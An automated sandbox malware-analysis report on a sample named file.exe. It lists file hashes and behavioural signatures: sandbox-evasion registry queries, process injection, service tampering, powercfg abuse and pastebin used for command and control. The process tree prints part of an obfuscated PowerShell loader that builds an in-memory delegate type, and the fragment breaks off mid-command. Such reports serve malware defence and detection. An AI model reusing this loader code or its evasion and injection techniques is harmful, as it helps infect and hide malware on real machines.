Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
10/10/2025, 04:04
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20250610-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win11-20250610-en
18 signatures
150 seconds
General
- Target file.exe
- Size 8.4MB
- Sample251010-emw22atvbx
- SHA256 bde92e1dce25cae77e42162c51f9b176586675bf4f0df5fd077bfe675d4259f7
- MD5 3184a2e4511afbf1a1ba6081fab682b3
- SHA1 8917dfb665e6f91f52e167c1a5c70059db538d9e
- SHA512 fc2d9ac816347f2540b5d81d7e06f2d7838c560cb782567d638aea20f00897f559fae5beb7ca2c09d5f411b4f6b8c940e0b9167820401ecc1d6a37aa14893ef3
- SSDEEP 196608:6nULBsTMa7LNrX4Vsvzw1oHhFUGXwjB4TwHbmT8E1u6N:iU1cNri6nheUwkY
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 4836 created 612 4836 powershell.EXE 5 PID 3216 created 612 3216 powershell.EXE 5 -
pid Process 4836 powershell.EXE 3216 powershell.EXE 5240 powershell.exe 5920 powershell.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Creates new service(s) 2 TTPs
- Executes dropped EXE 1 IoCs
pid Process 1836 Svchost.exe - Stops running service(s) 4 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 20 pastebin.com 21 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3576 powercfg.exe 1548 powercfg.exe 1796 powercfg.exe 3692 powercfg.exe 2380 powercfg.exe 1128 powercfg.exe 3068 powercfg.exe 3220 powercfg.exe - Drops file in System32 directory 17 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\MRT.exe file.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\MRT.exe Svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 5360 file.exe 5360 file.exe 1836 Svchost.exe 1836 Svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 5360 set thread context of 3984 5360 file.exe 104 PID 4836 set thread context of 4756 4836 powershell.EXE 124 PID 1836 set thread context of 5892 1836 Svchost.exe 142 PID 1836 set thread context of 1968 1836 Svchost.exe 144 PID 1836 set thread context of 5420 1836 Svchost.exe 148 PID 3216 set thread context of 4892 3216 powershell.EXE 151 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 756 sc.exe 2144 sc.exe 3280 sc.exe 3312 sc.exe 3512 sc.exe 5740 sc.exe 5816 sc.exe 1404 sc.exe 5636 sc.exe 4160 sc.exe 1064 sc.exe 4444 sc.exe 2992 sc.exe 4520 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1760069147" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5360 file.exe 5360 file.exe 5360 file.exe 5240 powershell.exe 5240 powershell.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 5360 file.exe 4836 powershell.EXE 4836 powershell.EXE 1836 Svchost.exe 1836 Svchost.exe 1836 Svchost.exe 4836 powershell.EXE 4756 dllhost.exe 4756 dllhost.exe 5920 powershell.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 5920 powershell.exe 5920 powershell.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 5920 powershell.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 5920 powershell.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe 4756 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3196 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5240 powershell.exe Token: SeShutdownPrivilege 3220 powercfg.exe Token: SeCreatePagefilePrivilege 3220 powercfg.exe Token: SeShutdownPrivilege 1796 powercfg.exe Token: SeCreatePagefilePrivilege 1796 powercfg.exe Token: SeShutdownPrivilege 1548 powercfg.exe Token: SeCreatePagefilePrivilege 1548 powercfg.exe Token: SeShutdownPrivilege 3576 powercfg.exe Token: SeCreatePagefilePrivilege 3576 powercfg.exe Token: SeDebugPrivilege 4836 powershell.EXE Token: SeDebugPrivilege 4836 powershell.EXE Token: SeDebugPrivilege 4756 dllhost.exe Token: SeDebugPrivilege 5920 powershell.exe Token: SeShutdownPrivilege 2380 powercfg.exe Token: SeCreatePagefilePrivilege 2380 powercfg.exe Token: SeShutdownPrivilege 3692 powercfg.exe Token: SeCreatePagefilePrivilege 3692 powercfg.exe Token: SeShutdownPrivilege 3068 powercfg.exe Token: SeCreatePagefilePrivilege 3068 powercfg.exe Token: SeShutdownPrivilege 1128 powercfg.exe Token: SeCreatePagefilePrivilege 1128 powercfg.exe Token: SeLockMemoryPrivilege 5420 dialer.exe Token: SeDebugPrivilege 3216 powershell.EXE Token: SeDebugPrivilege 3216 powershell.EXE Token: SeDebugPrivilege 4892 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2636 svchost.exe Token: SeIncreaseQuotaPrivilege 2636 svchost.exe Token: SeSecurityPrivilege 2636 svchost.exe Token: SeTakeOwnershipPrivilege 2636 svchost.exe Token: SeLoadDriverPrivilege 2636 svchost.exe Token: SeSystemtimePrivilege 2636 svchost.exe Token: SeBackupPrivilege 2636 svchost.exe Token: SeRestorePrivilege 2636 svchost.exe Token: SeShutdownPrivilege 2636 svchost.exe Token: SeSystemEnvironmentPrivilege 2636 svchost.exe Token: SeUndockPrivilege 2636 svchost.exe Token: SeManageVolumePrivilege 2636 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2636 svchost.exe Token: SeIncreaseQuotaPrivilege 2636 svchost.exe Token: SeSecurityPrivilege 2636 svchost.exe Token: SeTakeOwnershipPrivilege 2636 svchost.exe Token: SeLoadDriverPrivilege 2636 svchost.exe Token: SeSystemtimePrivilege 2636 svchost.exe Token: SeBackupPrivilege 2636 svchost.exe Token: SeRestorePrivilege 2636 svchost.exe Token: SeShutdownPrivilege 2636 svchost.exe Token: SeSystemEnvironmentPrivilege 2636 svchost.exe Token: SeUndockPrivilege 2636 svchost.exe Token: SeManageVolumePrivilege 2636 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2636 svchost.exe Token: SeIncreaseQuotaPrivilege 2636 svchost.exe Token: SeSecurityPrivilege 2636 svchost.exe Token: SeTakeOwnershipPrivilege 2636 svchost.exe Token: SeLoadDriverPrivilege 2636 svchost.exe Token: SeSystemtimePrivilege 2636 svchost.exe Token: SeBackupPrivilege 2636 svchost.exe Token: SeRestorePrivilege 2636 svchost.exe Token: SeShutdownPrivilege 2636 svchost.exe Token: SeSystemEnvironmentPrivilege 2636 svchost.exe Token: SeUndockPrivilege 2636 svchost.exe Token: SeManageVolumePrivilege 2636 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2636 svchost.exe Token: SeIncreaseQuotaPrivilege 2636 svchost.exe Token: SeSecurityPrivilege 2636 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5420 dialer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 6112 wrote to memory of 1900 6112 cmd.exe 92 PID 6112 wrote to memory of 1900 6112 cmd.exe 92 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 5360 wrote to memory of 3984 5360 file.exe 104 PID 4476 wrote to memory of 4824 4476 cmd.exe 120 PID 4476 wrote to memory of 4824 4476 cmd.exe 120 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4836 wrote to memory of 4756 4836 powershell.EXE 124 PID 4756 wrote to memory of 612 4756 dllhost.exe 5 PID 4756 wrote to memory of 668 4756 dllhost.exe 7 PID 4756 wrote to memory of 952 4756 dllhost.exe 12 PID 4756 wrote to memory of 60 4756 dllhost.exe 13 PID 4756 wrote to memory of 376 4756 dllhost.exe 14 PID 4756 wrote to memory of 436 4756 dllhost.exe 15 PID 4756 wrote to memory of 864 4756 dllhost.exe 16 PID 4756 wrote to memory of 948 4756 dllhost.exe 17 PID 4756 wrote to memory of 1112 4756 dllhost.exe 19 PID 4756 wrote to memory of 1164 4756 dllhost.exe 20 PID 4756 wrote to memory of 1252 4756 dllhost.exe 21 PID 4756 wrote to memory of 1312 4756 dllhost.exe 22 PID 4756 wrote to memory of 1324 4756 dllhost.exe 23 PID 4756 wrote to memory of 1336 4756 dllhost.exe 24 PID 4756 wrote to memory of 1348 4756 dllhost.exe 25 PID 4756 wrote to memory of 1484 4756 dllhost.exe 26 PID 4756 wrote to memory of 1512 4756 dllhost.exe 27 PID 4756 wrote to memory of 1552 4756 dllhost.exe 28 PID 4756 wrote to memory of 1632 4756 dllhost.exe 29 PID 4756 wrote to memory of 1688 4756 dllhost.exe 30 PID 4756 wrote to memory of 1748 4756 dllhost.exe 31 PID 4756 wrote to memory of 1824 4756 dllhost.exe 32 PID 4756 wrote to memory of 1864 4756 dllhost.exe 33 PID 4756 wrote to memory of 1872 4756 dllhost.exe 34 PID 4756 wrote to memory of 1912 4756 dllhost.exe 35 PID 4756 wrote to memory of 1936 4756 dllhost.exe 36 PID 4756 wrote to memory of 2040 4756 dllhost.exe 37 PID 4756 wrote to memory of 1704 4756 dllhost.exe 39 PID 4756 wrote to memory of 2132 4756 dllhost.exe 40 PID 4756 wrote to memory of 2352 4756 dllhost.exe 41 PID 4756 wrote to memory of 2368 4756 dllhost.exe 42 PID 4756 wrote to memory of 2472 4756 dllhost.exe 43 PID 4756 wrote to memory of 2480 4756 dllhost.exe 44 PID 4756 wrote to memory of 2584 4756 dllhost.exe 45 PID 4756 wrote to memory of 2620 4756 dllhost.exe 46 PID 4756 wrote to memory of 2636 4756 dllhost.exe 47 PID 4756 wrote to memory of 2672 4756 dllhost.exe 48 PID 4756 wrote to memory of 2692 4756 dllhost.exe 49 PID 4756 wrote to memory of 2704 4756 dllhost.exe 50 PID 4756 wrote to memory of 2740 4756 dllhost.exe 51 PID 4756 wrote to memory of 2804 4756 dllhost.exe 52 PID 4756 wrote to memory of 3188 4756 dllhost.exe 54 PID 4756 wrote to memory of 3196 4756 dllhost.exe 55 PID 4756 wrote to memory of 3204 4756 dllhost.exe 56 PID 4756 wrote to memory of 3540 4756 dllhost.exe 57 PID 4756 wrote to memory of 3760 4756 dllhost.exe 58 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3b6d0206-1b64-4d85-bbd3-5c55a675fdc5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4756
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7a321921-a32b-47f1-99f0-62715319c7ec}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4892
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:376
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:436
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:864
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1112 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2804
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:LyNzlmVpLhPS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kcasSKHByFYUCj,[Parameter(Position=1)][Type]$VTKWfnGAnR)$EgmjrvwJujF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+[Char](68)+''+'e'+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+'mor'+'y'+'M'+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+',P'+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+','+[Char](83)+'e'+[Char](97)+'led'+','+''+[Char](65)+'n'+'s'+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+','+'A'+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$EgmjrvwJujF.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+'i'+'a'+'l'+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kcasSKHByFYUCj).SetImplementationFlags(''+'R'+''+'u'+''+'n'+'t'+[Char](105)+''+[Char](109)+'e'+','+'M'+[Char](97)+''+[Char](110)+'a'+'g'